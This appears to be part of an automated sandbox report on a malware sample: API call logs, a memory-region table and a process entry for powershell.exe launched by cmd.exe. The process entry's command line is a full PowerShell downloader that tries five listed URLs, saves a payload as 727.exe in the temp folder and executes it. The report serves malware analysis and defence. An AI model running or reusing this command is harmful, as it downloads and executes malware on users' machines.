File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
For performance reasons, the remaining 1388 entries are omitted.
The remaining entries can be found in glog.xml.
Process #3: powershell.exe
442 59
»
Information Value
ID #3
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line powershell $aVV=new-object Net.WebClient;$JEs='http://vdtogt.nl/amyQ@http://viciousenterprises.com/qXUuXq@http://unclebudspice.com/80d@http://valiunas.com/G8CooI@http://thesilveramericaneagle.com/tb'.Split('@');$WXE = '727';$RWi=$env:temp+'\'+$WXE+'.exe';foreach($nqZ in $JEs){try{$aVV.DownloadFile($nqZ, $RWi);Start-Process $RWi;break;}catch{}}
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:01:03, Reason: Child Process
Unmonitor End Time: 00:01:34, Reason: Self Terminated
Monitor Duration 00:00:31
OS Process Information
»
Information Value
PID 0xa54
Parent PID 0xa34 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A58
0x A5C
0x A60
0x A64
0x A68
0x A6C
0x A70
0x AE8
0x AF0
0x AF4
0x BCC
0x BE4
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
locale.nls 0x00050000 0x000b6fff Memory Mapped File r False False False -
pagefile_0x00000000000c0000 0x000c0000 0x000c6fff Pagefile Backed Memory r True False False -
private_0x00000000000d0000 0x000d0000 0x000dffff Private Memory rw True False False -
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory rw True False False -
powershell.exe.mui 0x000f0000 0x000f2fff Memory Mapped File rw False False False -
private_0x0000000000100000 0x00100000 0x00100fff Private Memory rw True False False -
private_0x0000000000110000 0x00110000 0x00110fff Private Memory rw True False False -
pagefile_0x0000000000120000 0x00120000 0x00120fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000130000 0x00130000 0x00130fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000140000 0x00140000 0x00141fff Pagefile Backed Memory r True False False -
private_0x0000000000150000 0x00150000 0x0018ffff Private Memory rw True False False -
pagefile_0x0000000000190000 0x00190000 0x00257fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000260000 0x00260000 0x00260fff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000270000 0x00270000 0x00271fff Pagefile Backed Memory r True False False -
cversions.2.db 0x00280000 0x00283fff Memory Mapped File r True False False -
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001c.db 0x00290000 0x002affff Memory Mapped File r True False False -
pagefile_0x00000000002b0000 0x002b0000 0x002b0fff Pagefile Backed Memory rw True False False -
cversions.2.db 0x002c0000 0x002c3fff Memory Mapped File r True False False -
private_0x00000000002d0000 0x002d0000 0x003cffff Private Memory rw True False False -
pagefile_0x00000000003d0000 0x003d0000 0x004d0fff Pagefile Backed Memory r True False False -
pagefile_0x00000000004e0000 0x004e0000 0x010dffff Pagefile Backed Memory r True False False -
pagefile_0x00000000010e0000 0x010e0000 0x011befff Pagefile Backed Memory r True False False -
pagefile_0x00000000011c0000 0x011c0000 0x011c0fff Pagefile Backed Memory r True False False -
pagefile_0x00000000011d0000 0x011d0000 0x011d0fff Pagefile Backed Memory rw True False False -
private_0x00000000011e0000 0x011e0000 0x011effff Private Memory rw True False False -
private_0x00000000011f0000 0x011f0000 0x012effff Private Memory rw True False False -
pagefile_0x00000000012f0000 0x012f0000 0x012f0fff Pagefile Backed Memory rw True False False -
private_0x0000000001300000 0x01300000 0x0133ffff Private Memory rwx True False False -
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000009.db 0x01340000 0x0136ffff Memory Mapped File r True False False -
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x01370000 0x013d5fff Memory Mapped File r True False False -
private_0x00000000013e0000 0x013e0000 0x0141ffff Private Memory rw True False False -
private_0x0000000001420000 0x01420000 0x0142ffff Private Memory - True False False -
private_0x0000000001430000 0x01430000 0x0143ffff Private Memory - True False False -
private_0x0000000001440000 0x01440000 0x0144ffff Private Memory - True False False -
private_0x0000000001450000 0x01450000 0x0145ffff Private Memory - True False False -
private_0x0000000001460000 0x01460000 0x0146ffff Private Memory - True False False -
private_0x0000000001470000 0x01470000 0x014affff Private Memory rw True False False -
private_0x00000000014b0000 0x014b0000 0x014bffff Private Memory - True False False -
private_0x00000000014c0000 0x014c0000 0x014fffff Private Memory rw True False False -
private_0x0000000001500000 0x01500000 0x0150ffff Private Memory rw True False False -
private_0x0000000001510000 0x01510000 0x0154ffff Private Memory rw True False False -
sortdefault.nls 0x01550000 0x0181efff Memory Mapped File r False False False -
pagefile_0x0000000001820000 0x01820000 0x01c12fff Pagefile Backed Memory r True False False -
l_intl.nls 0x01c20000 0x01c22fff Memory Mapped File r False False False -
private_0x0000000001c30000 0x01c30000 0x01c30fff Private Memory rw True False False -
sorttbls.nlp 0x01c40000 0x01c44fff Memory Mapped File r False False False -
microsoft.wsman.runtime.dll 0x01c50000 0x01c57fff Memory Mapped File rwx False False False -
pagefile_0x0000000001c60000 0x01c60000 0x01c60fff Pagefile Backed Memory r True False False -
pagefile_0x0000000001c70000 0x01c70000 0x01c70fff Pagefile Backed Memory r True False False -
private_0x0000000001c70000 0x01c70000 0x01c7ffff Private Memory - True False False -
private_0x0000000001c80000 0x01c80000 0x01cbffff Private Memory rw True False False -
sortkey.nlp 0x01cc0000 0x01d00fff Memory Mapped File r False False False -
pagefile_0x0000000001d10000 0x01d10000 0x01d20fff Pagefile Backed Memory rw True False False -
private_0x0000000001d30000 0x01d30000 0x01d3ffff Private Memory - True False False -
private_0x0000000001d40000 0x01d40000 0x01d7ffff Private Memory rw True False False -
private_0x0000000001d80000 0x01d80000 0x01e1ffff Private Memory rw True False False -
private_0x0000000001e20000 0x01e20000 0x01e5ffff Private Memory rw True False False -
private_0x0000000001e60000 0x01e60000 0x01e6ffff Private Memory - True False False -
private_0x0000000001e70000 0x01e70000 0x01e7ffff Private Memory rw True False False -
kernelbase.dll.mui 0x01e80000 0x01f3ffff Memory Mapped File rw False False False -
private_0x0000000001f40000 0x01f40000 0x01f4ffff Private Memory - True False False -
private_0x0000000001f50000 0x01f50000 0x01f8ffff Private Memory rwx True False False -
private_0x0000000001f90000 0x01f90000 0x03f8ffff Private Memory rw True False False -
system.management.automation.dll 0x03f90000 0x04271fff Memory Mapped File rwx False False False -
system.transactions.dll 0x04280000 0x042c2fff Memory Mapped File rwx False False False -
mscorrc.dll 0x042d0000 0x04323fff Memory Mapped File r True False False -
private_0x0000000004330000 0x04330000 0x0433ffff Private Memory - True False False -
private_0x0000000004340000 0x04340000 0x0434ffff Private Memory - True False False -
private_0x0000000004350000 0x04350000 0x0435ffff Private Memory - True False False -
powershell.exe 0x21ca0000 0x21d11fff Memory Mapped File rwx False False False -
culture.dll 0x60340000 0x60347fff Memory Mapped File rwx True False False -
system.directoryservices.ni.dll 0x60c30000 0x60d43fff Memory Mapped File rwx True False False -
system.management.ni.dll 0x60d50000 0x60e53fff Memory Mapped File rwx True False False -
system.xml.ni.dll 0x60e60000 0x61395fff Memory Mapped File rwx True False False -
microsoft.powershell.commands.utility.ni.dll 0x613a0000 0x6153dfff Memory Mapped File rwx True False False -
system.core.ni.dll 0x61540000 0x61774fff Memory Mapped File rwx True False False -
system.management.automation.ni.dll 0x61780000 0x61ff9fff Memory Mapped File rwx True False False -
system.ni.dll 0x62000000 0x6279bfff Memory Mapped File rwx True False False -
mscorlib.ni.dll 0x627a0000 0x63297fff Memory Mapped File rwx True False False -
mscorwks.dll 0x632a0000 0x6384afff Memory Mapped File rwx True False False -
microsoft.powershell.commands.management.ni.dll 0x64d20000 0x64de2fff Memory Mapped File rwx True False False -
system.management.automation.dll 0x64df0000 0x650d1fff Memory Mapped File rwx False False False -
system.transactions.ni.dll 0x66300000 0x6639bfff Memory Mapped File rwx True False False -
microsoft.wsman.management.ni.dll 0x666b0000 0x66734fff Memory Mapped File rwx True False False -
microsoft.powershell.security.ni.dll 0x66c10000 0x66c3cfff Memory Mapped File rwx True False False -
system.transactions.dll 0x67aa0000 0x67ae2fff Memory Mapped File rwx False False False -
system.configuration.install.ni.dll 0x6e380000 0x6e3a4fff Memory Mapped File rwx True False False -
microsoft.powershell.commands.diagnostics.ni.dll 0x6e3b0000 0x6e3fafff Memory Mapped File rwx True False False -
microsoft.powershell.consolehost.ni.dll 0x6e400000 0x6e480fff Memory Mapped File rwx True False False -
msvcr80.dll 0x6e490000 0x6e52afff Memory Mapped File rwx False False False -
linkinfo.dll 0x70870000 0x70878fff Memory Mapped File rwx False False False -
shdocvw.dll 0x70880000 0x708adfff Memory Mapped File rwx False False False -
mscoreei.dll 0x70980000 0x709f9fff Memory Mapped File rwx True False False -
ntshrui.dll 0x70d20000 0x70d8ffff Memory Mapped File rwx False False False -
cscapi.dll 0x70d90000 0x70d9afff Memory Mapped File rwx False False False -
apphelp.dll 0x72130000 0x7217bfff Memory Mapped File rwx False False False -
mscoree.dll 0x727a0000 0x727e9fff Memory Mapped File rwx True False False -
shfolder.dll 0x727f0000 0x727f4fff Memory Mapped File rwx False False False -
slc.dll 0x73d50000 0x73d59fff Memory Mapped File rwx False False False -
atl.dll 0x73d80000 0x73d93fff Memory Mapped File rwx False False False -
ntmarta.dll 0x740e0000 0x74100fff Memory Mapped File rwx False False False -
uxtheme.dll 0x747f0000 0x7482ffff Memory Mapped File rwx False False False -
propsys.dll 0x74830000 0x74924fff Memory Mapped File rwx False False False -
comctl32.dll 0x74970000 0x74b0dfff Memory Mapped File rwx False False False -
version.dll 0x74ee0000 0x74ee8fff Memory Mapped File rwx False False False -
userenv.dll 0x75040000 0x75056fff Memory Mapped File rwx False False False -
rsaenh.dll 0x75200000 0x7523afff Memory Mapped File rwx False False False -
cryptsp.dll 0x75460000 0x75475fff Memory Mapped File rwx False False False -
srvcli.dll 0x75830000 0x75848fff Memory Mapped File rwx False False False -
cryptbase.dll 0x758e0000 0x758ebfff Memory Mapped File rwx False False False -
profapi.dll 0x75990000 0x7599afff Memory Mapped File rwx False False False -
kernelbase.dll 0x75a10000 0x75a59fff Memory Mapped File rwx False False False -
cfgmgr32.dll 0x75a60000 0x75a86fff Memory Mapped File rwx False False False -
devobj.dll 0x75bb0000 0x75bc1fff Memory Mapped File rwx False False False -
advapi32.dll 0x75c90000 0x75d2ffff Memory Mapped File rwx False False False -
msctf.dll 0x75d30000 0x75dfbfff Memory Mapped File rwx False False False -
clbcatq.dll 0x75e00000 0x75e82fff Memory Mapped File rwx False False False -
sechost.dll 0x75fd0000 0x75fe8fff Memory Mapped File rwx False False False -
wldap32.dll 0x75ff0000 0x76034fff Memory Mapped File rwx False False False -
msvcrt.dll 0x76040000 0x760ebfff Memory Mapped File rwx False False False -
shell32.dll 0x760f0000 0x76d39fff Memory Mapped File rwx False False False -
gdi32.dll 0x76d40000 0x76d8dfff Memory Mapped File rwx False False False -
setupapi.dll 0x76dc0000 0x76f5cfff Memory Mapped File rwx False False False -
user32.dll 0x77170000 0x77238fff Memory Mapped File rwx False False False -
usp10.dll 0x77240000 0x772dcfff Memory Mapped File rwx False False False -
oleaut32.dll 0x77360000 0x773eefff Memory Mapped File rwx False False False -
rpcrt4.dll 0x773f0000 0x77490fff Memory Mapped File rwx False False False -
shlwapi.dll 0x774a0000 0x774f6fff Memory Mapped File rwx False False False -
ole32.dll 0x77500000 0x7765bfff Memory Mapped File rwx False False False -
kernel32.dll 0x77760000 0x77833fff Memory Mapped File rwx False False False -
ntdll.dll 0x77840000 0x7797bfff Memory Mapped File rwx False False False -
psapi.dll 0x77980000 0x77984fff Memory Mapped File rwx False False False -
imm32.dll 0x779a0000 0x779befff Memory Mapped File rwx False False False -
lpk.dll 0x77a20000 0x77a29fff Memory Mapped File rwx False False False -
apisetschema.dll 0x77a80000 0x77a80fff Memory Mapped File rwx False False False -
pagefile_0x000000007f6f0000 0x7f6f0000 0x7f7effff Pagefile Backed Memory r True False False -
pagefile_0x000000007ffb0000 0x7ffb0000 0x7ffd2fff Pagefile Backed Memory r True False False -
private_0x000000007ffd8000 0x7ffd8000 0x7ffd8fff Private Memory rw True False False -
private_0x000000007ffd9000 0x7ffd9000 0x7ffd9fff Private Memory rw True False False -
private_0x000000007ffda000 0x7ffda000 0x7ffdafff Private Memory rw True False False -
private_0x000000007ffdb000 0x7ffdb000 0x7ffdbfff Private Memory rw True False False -
private_0x000000007ffdc000 0x7ffdc000 0x7ffdcfff Private Memory rw True False False -
private_0x000000007ffdd000 0x7ffdd000 0x7ffddfff Private Memory rw True False False -
private_0x000000007ffde000 0x7ffde000 0x7ffdefff Private Memory rw True False False -
private_0x000000007ffdf000 0x7ffdf000 0x7ffdffff Private Memory rw True False False -
For performance reasons, the remaining 63 entries are omitted.
The remaining entries can be found in flog.txt.
Threads
Thread 0xa58
277 0
»
Category Operation Information Success Count Logfile
System Get Info type = Operating System True 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
User Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
Module Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
System Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 9
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
System Get Info type = Operating System True 1
Fn
Environment Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Environment True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Environment, value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Environment Set Environment String name = PSMODULEPATH, value = C:\Users\BGC6u8Oy yXGxkR\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 4096 True 17
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 3022 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 50, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, size = 4096, size_out = 4096 True 4
Fn
Data
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 4096 True 62
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 3895 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 201, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = System True 1
Fn
Registry Open Key reg_name = System\PowerShell False 1
Fn
Registry Open Key reg_name = Windows PowerShell True 1
Fn
Registry Open Key reg_name = Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
